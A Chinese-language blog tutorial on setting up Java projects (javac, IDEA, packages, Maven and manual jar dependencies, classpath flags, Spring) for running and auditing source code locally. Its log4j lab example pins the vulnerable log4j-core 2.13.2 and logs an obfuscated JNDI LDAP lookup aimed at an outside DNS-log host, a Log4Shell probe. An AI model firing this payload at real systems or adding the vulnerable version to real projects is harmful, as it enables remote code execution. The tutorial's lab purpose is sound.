【技术分享】搭建java项目引入外部依赖教程

2023-11-02

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引言

学习工作中经常会遇到java相关的项目工程，本篇文章主要是想分享一下如何搭建一个java环境。
其实我在接触java项目的过程中，最直接的阻碍，并不是java语法的理解，也不是框架的使用，这些直接网上查询就可以得到。但是对于java项目如何搭建起来的，如果运行的，或者是如何添加项目依赖的，这些确实是让java初学者比较头痛。
触发我写这篇文章的一个最直接的应用场景是：
在遇到一个简单的源码审计问题的时候，只有源代码，不提供依赖，这个时候如何在项目中引入依赖，然后把代码在本地跑起来，这样就可以调试并快速审计或定位问题了。

这篇文章主要关注以下场景的问题:

如何新建一个简单的java工程项目（例如用于leetcode刷题）
如何引入外部依赖并运行（例如新建一个使用到log4j 的靶场环境并运行）
如何新建一个spring源码项目并为其添加依赖。
给定一个源码（如spring相关项目），如何为这个项目添加依赖，本地运行。

顺便提一下，对笔者自己来说，引入java外部依赖是个难题。之前有过c++ 和python 相关的项目经历，在实际应用中，搭建c++,python环境都比较容易，引入外部依赖也比较方便。

对于c++项目来说，使用c++编译器来编译运行代码，一般需要通过 #include 的方式来引入外部依赖的头文件。
对于python项目来说，也都需要配置一个python解释器，如果有什么需要引用外部的库，直接使用 pip install命令就可以方便的使用各种库的功能了。
对于java项目来说，编译运行java程序需要使用到jdk; 引用外部依赖，可以先下载jar包再引用，也可以使用maven 工程来配置好依赖后自动下载。

如何在linux中编译运行java程序

我们来学习一下如何在linux中使用java 命令编译执行一个简单的程序。

假设已经安装并配置好了java 环境
创建一个名为HelloJava.java的文件，然后文件中编辑一个类HelloJava.java; 注意: 文件名要和类名要保持一致，否则会编译出错，但是我们知道在c++和python 中都没有这样的限制。

public class HelloJava{
    public static void main(String[] args) {
        System.out.println("Nice to meet you!")；
    }
}

static 表示这是一个静态方法，允许调用main()方法，无需创建类的实例即可运行。
main()是所有的程序的入口，最先开始执行。
执行下面命令，可以编译成一个符合java虚机机规范的字节码文件： HelloJava.class。

javac HelloJava.java

执行下面命令，可以运行HelloJava.class,但是注意，命令中需要把.class去掉。

java HelloJava

IDEA中新建一个简单的java工程项目并运行

上面我们学习了使用java命令行来编译运行java程序，这是最基础的执行步骤。但是在我们的日常开发中，项目通常会在一个集成开发环境中完成，下面我们学习一下如何在IDEA新建一个简单的java工程项目。

打开idea–> File-> New-> Project
选择创建一个简单的java项目，在Project sdk中选择自己提前下载安装好的jdk路径
点击继续， project name 可以自己定义，例如 demo.
成功创建一个java项目后，项目下有idea和src两个目录，我们主要在src目录下操作。在src目录新建一个包package，然后新建一个HelloJava类，然后点击运行，即可观察到结果。

package aaa.bbb;
public class HelloJava{
    public static void main(String[] args) {
        System.out.println("Nice to meet you!");
    }
}

知识点：什么是package?
其实对于初学者，可能会使用不到package, 因为我们刚开始学习的时候，一般都是几个简单的类文件，我们稍微注意一下，就不会导致类名冲突这样的问题。但是，随着工程的不断扩大，我们可能会遇到这样的场景：

类的名称太多了，可能会有类名称冲突
类的定义太多了，我想按照某种逻辑分类，把相似的类名称放在一起。

这个时候，我们就可以使用package了。

包允许将类组合成较小的单元（类似文件夹），它基本上隐藏了类，并避免了名称上的冲突。包允许在更广泛的范围内保护类、数据和方法。你可以在包内定义类，而在包外的代码不能访问该类。这使你的类相互之间有隐私，但不被其他世界所知。

包的作用如下：
区分相同名称的类。
能够较好地管理大量的类。
控制访问范围。

包（package）的使用要点如下：

包名全部使用小写字母
多个层次使用.分隔
一般会由倒置的域名开头，比如 com.baidu，不要有 www。
不能java开头。
使用 import 语句导入指定包下某个类的用法按如下：

import example.MyClass;

使用 import 语句导入指定包下全部类的用法按如下：

import example.*;

Java 默认为所有源文件导入 java.lang 包下的所有类，因此前面在 Java 程序中使用 String、System 类时都无须使用 import 语句来导入这些类。但对于前面介绍数组时提到的 Arrays 类，其位于 java.util 包下，则必须使用 import 语句来导入该类。

IDEA中如何引入外部依赖并运行

加入我们遇到下面的场景：
为了验证log4j的漏洞，我们想搭建一个简单的log4j靶场环境。这里，我们介绍两种方法来引入log4j的外部依赖环境: 1. 手工下载log4j的jar包并引入； 2.通过maven环境引入log4j依赖；

maven引入log4j jar包

创建maven工程 : File > new > project > Maven > 创建项目名称为log4j_test
IDEA会生成项目，其中有pom.xml文件，初始内容状态为:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

</project>

如果我们想加入log4j的jar依赖，我们需要添加:

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.2</version>
        </dependency>
    </dependencies>

然后，我们就可以愉快的引入log4j的外部依赖了，我们可以编辑代码来实现自己的需求。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test1{
    private static final Logger logger = LogManager.getLogger(org.apache.logging.log4j.Logger.class);
    public static void main(String[] args) {
        logger.error("hello world   asdf.");
        logger.error("$${lookupName:key:${lower:env}}");
        logger.error("${env:aaa:-444444}");
        logger.error("${base64:SGVsbG8gV29ybGQhCg==}");
        logger.error("${log4j:configParentLocation}");
        logger.error("$${lower:{${java:os}}");
        logger.error("${upper:DhhASD}");
        logger.error("${java:os}");
        logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}");
    }
}

这里引出一个疑问: 如果我们只知道三方库的名字，如何快速查询到maven中的引用方式呢？
方法如下:

访问Maven中央仓，例如访问：https://mvnrepository.com/
搜索需要引入的三方库名称，例如搜索log4j
点击进去，选择合适的版本，例如选择2.12.3
页面会给出maven的引用方式，复制到pom.xml中即可。例如:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.12.3</version>
</dependency>

手工引入log4j jar包

上面我们介绍了使用maven的方式来引入外部依赖，但是其实我们也可以手工下载jar包，然后手工引入，这样其实就不需要使用maven项目了，下面我们来实践一下。

访问maven中央仓，并搜索下载自己想要的jar包到本地。
下面我们就需要在IDEA中配置引入下载的jar包了，具体步骤如下

点击 file > Project Structure > Modules >  点击+ > JARs or Directories > 添加存放自己下载jar包的路径

3. 下面我们就可以在工程项目中引用这个jar包的外部依赖了

如何使用命令行的方式添加外部依赖

假如遇到如下的场景：
windows 下写了一个java类并编译成class文件，现在想把这个程序放到linux下执行。但是我在程序中引入了外部依赖，这样的话，由于缺少外部依赖，是无法直接在linux中运行的。

问题一：如何在运行java程序时候，命令行指定依赖：

可以使用如下的示例：(个人理解绝对路径和相对路径都是可以的)

java -cp .:绝对路径1.jar:绝对路径2.jar 全限定类名(此类有main方法)
java -cp other.jar:demo-0.0.1-SNAPSHOT.jar com.javapc.demo.test.Test

问题二：如何在编译的时候指定依赖

 javac -cp 绝对路径1.jar:绝对路径2.jar java文件名.java

如何新建一个spring源码项目并为其添加依赖

我们在上文介绍了创建java项目以及引入依赖的通用方法。在实际的web项目中，spring框架的使用还是非常常见的，下面介绍下spring项目的搭建方法，spring 项目中一般会使用maven来管理外部依赖。

New > Project > 选中Maven
右击项目 > Add FrameWork Support > 添加一下spring 框架支持。
对于spring相关依赖，可以在pom.xml中按需加入，比如：

    <dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context</artifactId>
        <version>4.2.6.RELEASE</version>
    </dependency>

    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>4.3.0.RELEASE</version>
    </dependency>
    </dependencies>

接下来，我们就可以在项目中使用spring 来搭建java web工程了

package net.biancheng.c;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
        HelloWorld obj = context.getBean("helloWorld", HelloWorld.class);
        obj.getMessage();
        System.out.println(System.getProperty("user.dir"));
    }
}

给定一个spring工程源码，如何pom.xml添加依赖，本地运行。

我们有可能后遇到这样的一个场景:
我们拿到了一个spring项目的源码，pom.xml文件可能是缺失的，我们需要使用IDEA搭建可运行环境用于调试。
我们可以采取如下的步骤:

Add Framework Support添加spring框架支持。
Add Framework Support添加maven框架支持，这个会自动生成一个pom.xml文件。
设置JDK路径
根据代码来设置package
pom.xml 添加spring boot相关依赖。

可能会遇到以下问题：

spring 依赖版本需要匹配一致，否则会无法运行。
找不到类，对应的保存可以网上搜索解决

总结

动手实践了以上的java项目搭建过程，就熟悉了java项目开发流程。这样，我们可以快速的调试运行起来其他人开发的项目，也可以快速的自己搭建环境进行java开发。

参考资料:
http://c.biancheng.net/view/5611.html

https://blog.csdn.net/weixin_45987729/article/details/124216168

http://c.biancheng.net/view/6084.html

https://juejin.cn/post/6954950905909215268

https://www.jianshu.com/p/4bff72c7e71b

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